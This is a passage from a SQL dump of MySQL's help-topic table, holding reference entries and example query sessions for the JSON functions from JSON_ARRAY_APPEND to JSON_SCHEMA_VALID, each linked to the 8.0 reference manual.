|\n+-------------------------------------+\n\nmysql> SET @j = \'{\"a\": 1, \"b\": [2, 3], \"c\": 4}\';\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$.b\', \'x\');\n+------------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$.b\', \'x\') |\n+------------------------------------+\n| {\"a\": 1, \"b\": [2, 3, \"x\"], \"c\": 4} |\n+------------------------------------+\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$.c\', \'y\');\n+--------------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$.c\', \'y\') |\n+--------------------------------------+\n| {\"a\": 1, \"b\": [2, 3], \"c\": [4, \"y\"]} |\n+--------------------------------------+\n\nmysql> SET @j = \'{\"a\": 1}\';\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$\', \'z\');\n+---------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$\', \'z\') |\n+---------------------------------+\n| [{\"a\": 1}, \"z\"] |\n+---------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(397,'JSON_ARRAY_INSERT',32,'Syntax:\nJSON_ARRAY_INSERT(json_doc, path, val[, path, val] ...)\n\nUpdates a JSON document, inserting into an array within the document\nand returning the modified document. Returns NULL if any argument is\nNULL. An error occurs if the json_doc argument is not a valid JSON\ndocument or any path argument is not a valid path expression or\ncontains a * or ** wildcard or does not end with an array element\nidentifier.\n\nThe path-value pairs are evaluated left to right. The document produced\nby evaluating one pair becomes the new value against which the next\npair is evaluated.\n\nPairs for which the path does not identify any array in the JSON\ndocument are ignored. If a path identifies an array element, the\ncorresponding value is inserted at that element position, shifting any\nfollowing values to the right. If a path identifies an array position\npast the end of an array, the value is inserted at the end of the\narray.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'[\"a\", {\"b\": [1, 2]}, [3, 4]]\';\nmysql> SELECT JSON_ARRAY_INSERT(@j, \'$[1]\', \'x\');\n+------------------------------------+\n| JSON_ARRAY_INSERT(@j, \'$[1]\', \'x\') |\n+------------------------------------+\n| [\"a\", \"x\", {\"b\": [1, 2]}, [3, 4]] |\n+------------------------------------+\nmysql> SELECT JSON_ARRAY_INSERT(@j, \'$[100]\', \'x\');\n+--------------------------------------+\n| JSON_ARRAY_INSERT(@j, \'$[100]\', \'x\') |\n+--------------------------------------+\n| [\"a\", {\"b\": [1, 2]}, [3, 4], \"x\"] |\n+--------------------------------------+\nmysql> SELECT JSON_ARRAY_INSERT(@j, \'$[1].b[0]\', \'x\');\n+-----------------------------------------+\n| JSON_ARRAY_INSERT(@j, \'$[1].b[0]\', \'x\') |\n+-----------------------------------------+\n| [\"a\", {\"b\": [\"x\", 1, 2]}, [3, 4]] |\n+-----------------------------------------+\nmysql> SELECT JSON_ARRAY_INSERT(@j, \'$[2][1]\', \'y\');\n+---------------------------------------+\n| JSON_ARRAY_INSERT(@j, \'$[2][1]\', \'y\') |\n+---------------------------------------+\n| [\"a\", {\"b\": [1, 2]}, [3, \"y\", 4]] |\n+---------------------------------------+\nmysql> SELECT JSON_ARRAY_INSERT(@j, \'$[0]\', \'x\', \'$[2][1]\', \'y\');\n+----------------------------------------------------+\n| JSON_ARRAY_INSERT(@j, \'$[0]\', \'x\', \'$[2][1]\', \'y\') |\n+----------------------------------------------------+\n| [\"x\", \"a\", {\"b\": [1, 2]}, [3, 4]] |\n+----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(398,'JSON_INSERT',32,'Syntax:\nJSON_INSERT(json_doc, path, val[, path, val] ...)\n\nInserts data into a JSON document and returns the result. Returns NULL\nif any argument is NULL. An error occurs if the json_doc argument is\nnot a valid JSON document or any path argument is not a valid path\nexpression or contains a * or ** wildcard.\n\nThe path-value pairs are evaluated left to right. The document produced\nby evaluating one pair becomes the new value against which the next\npair is evaluated.\n\nA path-value pair for an existing path in the document is ignored and\ndoes not overwrite the existing document value. A path-value pair for a\nnonexisting path in the document adds the value to the document if the\npath identifies one of these types of values:\n\no A member not present in an existing object. The member is added to\n the object and associated with the new value.\n\no A position past the end of an existing array. The array is extended\n with the new value. If the existing value is not an array, it is\n autowrapped as an array, then extended with the new value.\n\nOtherwise, a path-value pair for a nonexisting path in the document is\nignored and has no effect.\n\nFor a comparison of JSON_INSERT(), JSON_REPLACE(), and JSON_SET(), see\nthe discussion of JSON_SET().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'{ \"a\": 1, \"b\": [2, 3]}\';\nmysql> SELECT JSON_INSERT(@j, \'$.a\', 10, \'$.c\', \'[true, false]\');\n+----------------------------------------------------+\n| JSON_INSERT(@j, \'$.a\', 10, \'$.c\', \'[true, false]\') |\n+----------------------------------------------------+\n| {\"a\": 1, \"b\": [2, 3], \"c\": \"[true, false]\"} |\n+----------------------------------------------------+\n\nmysql> SELECT JSON_INSERT(@j, \'$.a\', 10, \'$.c\', CAST(\'[true, false]\' AS JSON));\n+------------------------------------------------------------------+\n| JSON_INSERT(@j, \'$.a\', 10, \'$.c\', CAST(\'[true, false]\' AS JSON)) |\n+------------------------------------------------------------------+\n| {\"a\": 1, \"b\": [2, 3], \"c\": [true, false]} |\n+------------------------------------------------------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(399,'JSON_MERGE',32,'Syntax:\nJSON_MERGE(json_doc, json_doc[, json_doc] ...)\n\nMerges two or more JSON documents. Synonym for JSON_MERGE_PRESERVE();\ndeprecated in MySQL 8.0.3 and subject to removal in a future release.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SELECT JSON_MERGE(\'[1, 2]\', \'[true, false]\');\n+---------------------------------------+\n| JSON_MERGE(\'[1, 2]\', \'[true, false]\') |\n+---------------------------------------+\n| [1, 2, true, false] |\n+---------------------------------------+\n1 row in set, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Warning\n Code: 1287\nMessage: \'JSON_MERGE\' is deprecated and will be removed in a future release. \\\n Please use JSON_MERGE_PRESERVE/JSON_MERGE_PATCH instead\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(400,'JSON_MERGE_PATCH()',32,'Syntax:\nJSON_MERGE_PATCH(json_doc, json_doc[, json_doc] ...)\n\nPerforms an RFC 7396 (https://tools.ietf.org/html/rfc7396) compliant\nmerge of two or more JSON documents and returns the merged result,\nwithout preserving members having duplicate keys. Raises an error if at\nleast one of the documents passed as arguments to this function is not\nvalid.\n\n*Note*:\n\nFor an explanation and example of the differences between this function\nand JSON_MERGE_PRESERVE(), see\nhttps://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n#json-merge-patch-json-merge-preserve-compared.\n\nJSON_MERGE_PATCH() performs a merge as follows:\n\n1. If the first argument is not an object, the result of the merge is\n the same as if an empty object had been merged with the second\n argument.\n\n2. If the second argument is not an object, the result of the merge is\n the second argument.\n\n3. If both arguments are objects, the result of the merge is an object\n with the following members:\n\n o All members of the first object which do not have a corresponding\n member with the same key in the second object.\n\n o All members of the second object which do not have a corresponding\n key in the first object, and whose value is not the JSON null\n literal.\n\n o All members with a key that exists in both the first and the second\n object, and whose value in the second object is not the JSON null\n literal. The values of these members are the results of recursively\n merging the value in the first object with the value in the second\n object.\n\nFor additional information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/json.html#json-normalization.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SELECT JSON_MERGE_PATCH(\'[1, 2]\', \'[true, false]\');\n+---------------------------------------------+\n| JSON_MERGE_PATCH(\'[1, 2]\', \'[true, false]\') |\n+---------------------------------------------+\n| [true, false] |\n+---------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'{\"name\": \"x\"}\', \'{\"id\": 47}\');\n+-------------------------------------------------+\n| JSON_MERGE_PATCH(\'{\"name\": \"x\"}\', \'{\"id\": 47}\') |\n+-------------------------------------------------+\n| {\"id\": 47, \"name\": \"x\"} |\n+-------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'1\', \'true\');\n+-------------------------------+\n| JSON_MERGE_PATCH(\'1\', \'true\') |\n+-------------------------------+\n| true |\n+-------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'[1, 2]\', \'{\"id\": 47}\');\n+------------------------------------------+\n| JSON_MERGE_PATCH(\'[1, 2]\', \'{\"id\": 47}\') |\n+------------------------------------------+\n| {\"id\": 47} |\n+------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'{ \"a\": 1, \"b\":2 }\',\n > \'{ \"a\": 3, \"c\":4 }\');\n+-----------------------------------------------------------+\n| JSON_MERGE_PATCH(\'{ \"a\": 1, \"b\":2 }\',\'{ \"a\": 3, \"c\":4 }\') |\n+-----------------------------------------------------------+\n| {\"a\": 3, \"b\": 2, \"c\": 4} |\n+-----------------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'{ \"a\": 1, \"b\":2 }\',\'{ \"a\": 3, \"c\":4 }\',\n > \'{ \"a\": 5, \"d\":6 }\');\n+-------------------------------------------------------------------------------+\n| JSON_MERGE_PATCH(\'{ \"a\": 1, \"b\":2 }\',\'{ \"a\": 3, \"c\":4 }\',\'{ \"a\": 5, \"d\":6 }\') |\n+-------------------------------------------------------------------------------+\n| {\"a\": 5, \"b\": 2, \"c\": 4, \"d\": 6} |\n+-------------------------------------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'{\"a\":1, \"b\":2}\', \'{\"b\":null}\');\n+--------------------------------------------------+\n| JSON_MERGE_PATCH(\'{\"a\":1, \"b\":2}\', \'{\"b\":null}\') |\n+--------------------------------------------------+\n| {\"a\": 1} |\n+--------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PATCH(\'{\"a\":{\"x\":1}}\', \'{\"a\":{\"y\":2}}\');\n+----------------------------------------------------+\n| JSON_MERGE_PATCH(\'{\"a\":{\"x\":1}}\', \'{\"a\":{\"y\":2}}\') |\n+----------------------------------------------------+\n| {\"a\": {\"x\": 1, \"y\": 2}} |\n+----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(401,'JSON_MERGE_PRESERVE()',32,'Syntax:\nJSON_MERGE_PRESERVE(json_doc, json_doc[, json_doc] ...)\n\nMerges two or more JSON documents and returns the merged result.\nReturns NULL if any argument is NULL. An error occurs if any argument\nis not a valid JSON document.\n\nMerging takes place according to the following rules. For additional\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/json.html#json-normalization.\n\no Adjacent arrays are merged to a single array.\n\no Adjacent objects are merged to a single object.\n\no A scalar value is autowrapped as an array and merged as an array.\n\no An adjacent array and object are merged by autowrapping the object as\n an array and merging the two arrays.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SELECT JSON_MERGE_PRESERVE(\'[1, 2]\', \'[true, false]\');\n+------------------------------------------------+\n| JSON_MERGE_PRESERVE(\'[1, 2]\', \'[true, false]\') |\n+------------------------------------------------+\n| [1, 2, true, false] |\n+------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PRESERVE(\'{\"name\": \"x\"}\', \'{\"id\": 47}\');\n+----------------------------------------------------+\n| JSON_MERGE_PRESERVE(\'{\"name\": \"x\"}\', \'{\"id\": 47}\') |\n+----------------------------------------------------+\n| {\"id\": 47, \"name\": \"x\"} |\n+----------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PRESERVE(\'1\', \'true\');\n+----------------------------------+\n| JSON_MERGE_PRESERVE(\'1\', \'true\') |\n+----------------------------------+\n| [1, true] |\n+----------------------------------+\n\nmysql> SELECT JSON_MERGE_PRESERVE(\'[1, 2]\', \'{\"id\": 47}\');\n+---------------------------------------------+\n| JSON_MERGE_PRESERVE(\'[1, 2]\', \'{\"id\": 47}\') |\n+---------------------------------------------+\n| [1, 2, {\"id\": 47}] |\n+---------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PRESERVE(\'{ \"a\": 1, \"b\": 2 }\',\n > \'{ \"a\": 3, \"c\": 4 }\');\n+--------------------------------------------------------------+\n| JSON_MERGE_PRESERVE(\'{ \"a\": 1, \"b\": 2 }\',\'{ \"a\": 3, \"c\":4 }\') |\n+--------------------------------------------------------------+\n| {\"a\": [1, 3], \"b\": 2, \"c\": 4} |\n+--------------------------------------------------------------+\n\nmysql> SELECT JSON_MERGE_PRESERVE(\'{ \"a\": 1, \"b\": 2 }\',\'{ \"a\": 3, \"c\": 4 }\',\n > \'{ \"a\": 5, \"d\": 6 }\');\n+----------------------------------------------------------------------------------+\n| JSON_MERGE_PRESERVE(\'{ \"a\": 1, \"b\": 2 }\',\'{ \"a\": 3, \"c\": 4 }\',\'{ \"a\": 5, \"d\": 6 }\') |\n+----------------------------------------------------------------------------------+\n| {\"a\": [1, 3, 5], \"b\": 2, \"c\": 4, \"d\": 6} |\n+----------------------------------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(402,'JSON_REMOVE',32,'Syntax:\nJSON_REMOVE(json_doc, path[, path] ...)\n\nRemoves data from a JSON document and returns the result. Returns NULL\nif any argument is NULL. An error occurs if the json_doc argument is\nnot a valid JSON document or any path argument is not a valid path\nexpression or is $ or contains a * or ** wildcard.\n\nThe path arguments are evaluated left to right. The document produced\nby evaluating one path becomes the new value against which the next\npath is evaluated.\n\nIt is not an error if the element to be removed does not exist in the\ndocument; in that case, the path does not affect the document.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'[\"a\", [\"b\", \"c\"], \"d\"]\';\nmysql> SELECT JSON_REMOVE(@j, \'$[1]\');\n+-------------------------+\n| JSON_REMOVE(@j, \'$[1]\') |\n+-------------------------+\n| [\"a\", \"d\"] |\n+-------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(403,'JSON_REPLACE',32,'Syntax:\nJSON_REPLACE(json_doc, path, val[, path, val] ...)\n\nReplaces existing values in a JSON document and returns the result.\nReturns NULL if any argument is NULL. An error occurs if the json_doc\nargument is not a valid JSON document or any path argument is not a\nvalid path expression or contains a * or ** wildcard.\n\nThe path-value pairs are evaluated left to right. The document produced\nby evaluating one pair becomes the new value against which the next\npair is evaluated.\n\nA path-value pair for an existing path in the document overwrites the\nexisting document value with the new value. A path-value pair for a\nnonexisting path in the document is ignored and has no effect.\n\nIn MySQL 8.0.4, the optimizer can perform a partial, in-place update of\na JSON column instead of removing the old document and writing the new\ndocument in its entirety to the column. This optimization can be\nperformed for an update statement that uses the JSON_REPLACE() function\nand meets the conditions outlined in\nhttps://dev.mysql.com/doc/refman/8.0/en/json.html#json-partial-updates.\n\nFor a comparison of JSON_INSERT(), JSON_REPLACE(), and JSON_SET(), see\nthe discussion of JSON_SET().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'{ \"a\": 1, \"b\": [2, 3]}\';\nmysql> SELECT JSON_REPLACE(@j, \'$.a\', 10, \'$.c\', \'[true, false]\');\n+-----------------------------------------------------+\n| JSON_REPLACE(@j, \'$.a\', 10, \'$.c\', \'[true, false]\') |\n+-----------------------------------------------------+\n| {\"a\": 10, \"b\": [2, 3]} |\n+-----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(404,'JSON_SET',32,'Syntax:\nJSON_SET(json_doc, path, val[, path, val] ...)\n\nInserts or updates data in a JSON document and returns the result.\nReturns NULL if json_doc or path is NULL, or if path, when given, does\nnot locate an object. Otherwise, an error occurs if the json_doc\nargument is not a valid JSON document or any path argument is not a\nvalid path expression or contains a * or ** wildcard.\n\nThe path-value pairs are evaluated left to right. The document produced\nby evaluating one pair becomes the new value against which the next\npair is evaluated.\n\nA path-value pair for an existing path in the document overwrites the\nexisting document value with the new value. A path-value pair for a\nnonexisting path in the document adds the value to the document if the\npath identifies one of these types of values:\n\no A member not present in an existing object. The member is added to\n the object and associated with the new value.\n\no A position past the end of an existing array. The array is extended\n with the new value. If the existing value is not an array, it is\n autowrapped as an array, then extended with the new value.\n\nOtherwise, a path-value pair for a nonexisting path in the document is\nignored and has no effect.\n\nIn MySQL 8.0.4, the optimizer can perform a partial, in-place update of\na JSON column instead of removing the old document and writing the new\ndocument in its entirety to the column. This optimization can be\nperformed for an update statement that uses the JSON_SET() function and\nmeets the conditions outlined in\nhttps://dev.mysql.com/doc/refman/8.0/en/json.html#json-partial-updates.\n\nThe JSON_SET(), JSON_INSERT(), and JSON_REPLACE() functions are\nrelated:\n\no JSON_SET() replaces existing values and adds nonexisting values.\n\no JSON_INSERT() inserts values without replacing existing values.\n\no JSON_REPLACE() replaces only existing values.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'{ \"a\": 1, \"b\": [2, 3]}\';\nmysql> SELECT JSON_SET(@j, \'$.a\', 10, \'$.c\', \'[true, false]\');\n+-------------------------------------------------+\n| JSON_SET(@j, \'$.a\', 10, \'$.c\', \'[true, false]\') |\n+-------------------------------------------------+\n| {\"a\": 10, \"b\": [2, 3], \"c\": \"[true, false]\"} |\n+-------------------------------------------------+\nmysql> SELECT JSON_INSERT(@j, \'$.a\', 10, \'$.c\', \'[true, false]\');\n+----------------------------------------------------+\n| JSON_INSERT(@j, \'$.a\', 10, \'$.c\', \'[true, false]\') |\n+----------------------------------------------------+\n| {\"a\": 1, \"b\": [2, 3], \"c\": \"[true, false]\"} |\n+----------------------------------------------------+\nmysql> SELECT JSON_REPLACE(@j, \'$.a\', 10, \'$.c\', \'[true, false]\');\n+-----------------------------------------------------+\n| JSON_REPLACE(@j, \'$.a\', 10, \'$.c\', \'[true, false]\') |\n+-----------------------------------------------------+\n| {\"a\": 10, \"b\": [2, 3]} |\n+-----------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(405,'JSON_UNQUOTE',32,'Syntax:\nJSON_UNQUOTE(json_val)\n\nUnquotes JSON value and returns the result as a utf8mb4 string. Returns\nNULL if the argument is NULL. An error occurs if the value starts and\nends with double quotes but is not a valid JSON string literal.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'\"abc\"\';\nmysql> SELECT @j, JSON_UNQUOTE(@j);\n+-------+------------------+\n| @j | JSON_UNQUOTE(@j) |\n+-------+------------------+\n| \"abc\" | abc |\n+-------+------------------+\nmysql> SET @j = \'[1, 2, 3]\';\nmysql> SELECT @j, JSON_UNQUOTE(@j);\n+-----------+------------------+\n| @j | JSON_UNQUOTE(@j) |\n+-----------+------------------+\n| [1, 2, 3] | [1, 2, 3] |\n+-----------+------------------+\n\nmysql> SELECT @@sql_mode;\n+------------+\n| @@sql_mode |\n+------------+\n| |\n+------------+\n\nmysql> SELECT JSON_UNQUOTE(\'\"\\\\t\\\\u0032\"\');\n+------------------------------+\n| JSON_UNQUOTE(\'\"\\\\t\\\\u0032\"\') |\n+------------------------------+\n| 2 |\n+------------------------------+\n\nmysql> SET @@sql_mode = \'NO_BACKSLASH_ESCAPES\';\nmysql> SELECT JSON_UNQUOTE(\'\"\\\\t\\\\u0032\"\');\n+------------------------------+\n| JSON_UNQUOTE(\'\"\\\\t\\\\u0032\"\') |\n+------------------------------+\n| \\t\\u0032 |\n+------------------------------+\n\nmysql> SELECT JSON_UNQUOTE(\'\"\\t\\u0032\"\');\n+----------------------------+\n| JSON_UNQUOTE(\'\"\\t\\u0032\"\') |\n+----------------------------+\n| 2 |\n+----------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html'),(406,'JSON_DEPTH',32,'Syntax:\nJSON_DEPTH(json_doc)\n\nReturns the maximum depth of a JSON document. Returns NULL if the\nargument is NULL. An error occurs if the argument is not a valid JSON\ndocument.\n\nAn empty array, empty object, or scalar value has depth 1. A nonempty\narray containing only elements of depth 1 or nonempty object containing\nonly member values of depth 1 has depth 2. Otherwise, a JSON document\nhas depth greater than 2.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html\n\n','mysql> SELECT JSON_DEPTH(\'{}\'), JSON_DEPTH(\'[]\'), JSON_DEPTH(\'true\');\n+------------------+------------------+--------------------+\n| JSON_DEPTH(\'{}\') | JSON_DEPTH(\'[]\') | JSON_DEPTH(\'true\') |\n+------------------+------------------+--------------------+\n| 1 | 1 | 1 |\n+------------------+------------------+--------------------+\nmysql> SELECT JSON_DEPTH(\'[10, 20]\'), JSON_DEPTH(\'[[], {}]\');\n+------------------------+------------------------+\n| JSON_DEPTH(\'[10, 20]\') | JSON_DEPTH(\'[[], {}]\') |\n+------------------------+------------------------+\n| 2 | 2 |\n+------------------------+------------------------+\nmysql> SELECT JSON_DEPTH(\'[10, {\"a\": 20}]\');\n+-------------------------------+\n| JSON_DEPTH(\'[10, {\"a\": 20}]\') |\n+-------------------------------+\n| 3 |\n+-------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html'),(407,'JSON_LENGTH',32,'Syntax:\nJSON_LENGTH(json_doc[, path])\n\nReturns the length of a JSON document, or, if a path argument is given,\nthe length of the value within the document identified by the path.\nReturns NULL if any argument is NULL or the path argument does not\nidentify a value in the document. An error occurs if the json_doc\nargument is not a valid JSON document or the path argument is not a\nvalid path expression. Prior to MySQL 8.0.26, an error is also raised\nif the path expression contains a * or ** wildcard.\n\nThe length of a document is determined as follows:\n\no The length of a scalar is 1.\n\no The length of an array is the number of array elements.\n\no The length of an object is the number of object members.\n\no The length does not count the length of nested arrays or objects.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html\n\n','mysql> SELECT JSON_LENGTH(\'[1, 2, {\"a\": 3}]\');\n+---------------------------------+\n| JSON_LENGTH(\'[1, 2, {\"a\": 3}]\') |\n+---------------------------------+\n| 3 |\n+---------------------------------+\nmysql> SELECT JSON_LENGTH(\'{\"a\": 1, \"b\": {\"c\": 30}}\');\n+-----------------------------------------+\n| JSON_LENGTH(\'{\"a\": 1, \"b\": {\"c\": 30}}\') |\n+-----------------------------------------+\n| 2 |\n+-----------------------------------------+\nmysql> SELECT JSON_LENGTH(\'{\"a\": 1, \"b\": {\"c\": 30}}\', \'$.b\');\n+------------------------------------------------+\n| JSON_LENGTH(\'{\"a\": 1, \"b\": {\"c\": 30}}\', \'$.b\') |\n+------------------------------------------------+\n| 1 |\n+------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html'),(408,'JSON_TYPE',32,'Syntax:\nJSON_TYPE(json_val)\n\nReturns a utf8mb4 string indicating the type of a JSON value. This can\nbe an object, an array, or a scalar type, as shown here:\n\nmysql> SET @j = \'{\"a\": [10, true]}\';\nmysql> SELECT JSON_TYPE(@j);\n+---------------+\n| JSON_TYPE(@j) |\n+---------------+\n| OBJECT |\n+---------------+\nmysql> SELECT JSON_TYPE(JSON_EXTRACT(@j, \'$.a\'));\n+------------------------------------+\n| JSON_TYPE(JSON_EXTRACT(@j, \'$.a\')) |\n+------------------------------------+\n| ARRAY |\n+------------------------------------+\nmysql> SELECT JSON_TYPE(JSON_EXTRACT(@j, \'$.a[0]\'));\n+---------------------------------------+\n| JSON_TYPE(JSON_EXTRACT(@j, \'$.a[0]\')) |\n+---------------------------------------+\n| INTEGER |\n+---------------------------------------+\nmysql> SELECT JSON_TYPE(JSON_EXTRACT(@j, \'$.a[1]\'));\n+---------------------------------------+\n| JSON_TYPE(JSON_EXTRACT(@j, \'$.a[1]\')) |\n+---------------------------------------+\n| BOOLEAN |\n+---------------------------------------+\n\nJSON_TYPE() returns NULL if the argument is NULL:\n\nmysql> SELECT JSON_TYPE(NULL);\n+-----------------+\n| JSON_TYPE(NULL) |\n+-----------------+\n| NULL |\n+-----------------+\n\nAn error occurs if the argument is not a valid JSON value:\n\nmysql> SELECT JSON_TYPE(1);\nERROR 3146 (22032): Invalid data type for JSON data in argument 1\nto function json_type; a JSON string or JSON type is required.\n\nFor a non-NULL, non-error result, the following list describes the\npossible JSON_TYPE() return values:\n\no Purely JSON types:\n\n o OBJECT: JSON objects\n\n o ARRAY: JSON arrays\n\n o BOOLEAN: The JSON true and false literals\n\n o NULL: The JSON null literal\n\no Numeric types:\n\n o INTEGER: MySQL TINYINT, SMALLINT, MEDIUMINT and INT and BIGINT\n scalars\n\n o DOUBLE: MySQL DOUBLE FLOAT scalars\n\n o DECIMAL: MySQL DECIMAL and NUMERIC scalars\n\no Temporal types:\n\n o DATETIME: MySQL DATETIME and TIMESTAMP scalars\n\n o DATE: MySQL DATE scalars\n\n o TIME: MySQL TIME scalars\n\no String types:\n\n o STRING: MySQL utf8mb3 character type scalars: CHAR, VARCHAR, TEXT,\n ENUM, and SET\n\no Binary types:\n\n o BLOB: MySQL binary type scalars including BINARY, VARBINARY, BLOB,\n and BIT\n\no All other types:\n\n o OPAQUE (raw bits)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html'),(409,'JSON_VALID',32,'Syntax:\nJSON_VALID(val)\n\nReturns 0 or 1 to indicate whether a value is valid JSON. Returns NULL\nif the argument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html\n\n','mysql> SELECT JSON_VALID(\'{\"a\": 1}\');\n+------------------------+\n| JSON_VALID(\'{\"a\": 1}\') |\n+------------------------+\n| 1 |\n+------------------------+\nmysql> SELECT JSON_VALID(\'hello\'), JSON_VALID(\'\"hello\"\');\n+---------------------+-----------------------+\n| JSON_VALID(\'hello\') | JSON_VALID(\'\"hello\"\') |\n+---------------------+-----------------------+\n| 0 | 1 |\n+---------------------+-----------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html'),(410,'JSON_TABLE',32,'Syntax:\nJSON_TABLE(expr, path COLUMNS (column_list) [AS] alias)\n\nExtracts data from a JSON document and returns it as a relational table\nhaving the specified columns. The complete syntax for this function is\nshown here:\n\nJSON_TABLE(\n expr,\n path COLUMNS (column_list)\n) [AS] alias\n\ncolumn_list:\n column[, column][, ...]\n\ncolumn:\n name FOR ORDINALITY\n | name type PATH string path [on_empty] [on_error]\n | name type EXISTS PATH string path\n | NESTED [PATH] path COLUMNS (column_list)\n\non_empty:\n {NULL | DEFAULT json_string | ERROR} ON EMPTY\n\non_error:\n {NULL | DEFAULT json_string | ERROR} ON ERROR\n\nexpr: This is an expression that returns JSON data. This can be a\nconstant (\'{\"a\":1}\'), a column (t1.json_data, given table t1 specified\nprior to JSON_TABLE() in the FROM clause), or a function call\n(JSON_EXTRACT(t1.json_data,\'$.post.comments\')).\n\npath: A JSON path expression, which is applied to the data source. We\nrefer to the JSON value matching the path as the row source; this is\nused to generate a row of relational data. The COLUMNS clause evaluates\nthe row source, finds specific JSON values within the row source, and\nreturns those JSON values as SQL values in individual columns of a row\nof relational data.\n\nThe alias is required. The usual rules for table aliases apply (see\nhttps://dev.mysql.com/doc/refman/8.0/en/identifiers.html).\n\nBeginning with MySQL 8.0.27, this function compares column names in\ncase-insensitive fashion.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-table-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/json-table-functions.html'),(411,'JSON_SCHEMA_VALID',32,'JSON_SCHEMA_VALID(schema,document)\n\nValidates a JSON document against a JSON schema. Both schema and\ndocument are required. The schema must be a valid JSON object; the\ndocument must be a valid JSON document. Provided that these conditions\nare met: If the document validates against the schema, the function\nreturns true (1); otherwise, it returns false (0).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html\n\n','mysql> SET @schema = \'{\n \'> \"id\": \"http://json-schema.org/geo\",\n \'> \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \'> \"description\": \"A geographical coordinate\",\n \'> \"type\": \"object\",\n \'> \"properties\": {\n \'> \"latitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -90,\n \'> \"maximum\": 90\n \'> },\n \'> \"longitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -180,\n \'> \"maximum\": 180\n \'> }\n \'> },\n \'> \"required\": [\"latitude\", \"longitude\"]\n \'>}\';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SET @document = \'{\n \'> \"latitude\": 63.444697,\n \'> \"longitude\": 10.445118\n \'>}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT JSON_SCHEMA_VALID(@schema, @document);\n+---------------------------------------+\n| JSON_SCHEMA_VALID(@schema, @document) |\n+---------------------------------------+\n| 1 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SET @document = \'{}\';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT JSON_SCHEMA_VALID(@schema, @document);\n+---------------------------------------+\n| JSON_SCHEMA_VALID(@schema, @document) |\n+---------------------------------------+\n| 0 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SET @schema = \'{\n \'> \"id\": \"http://json-schema.org/geo\",\n \'> \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \'> \"description\": \"A geographical coordinate\",\n \'> \"type\": \"object\",\n \'> \"properties\": {\n \'> \"latitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -90,\n \'> \"maximum\": 90\n \'> },\n \'> \"longitude\": {\n \'> \"type\": \"number\",\n \'> \"minimum\": -180,\n \'> \"maximum\": 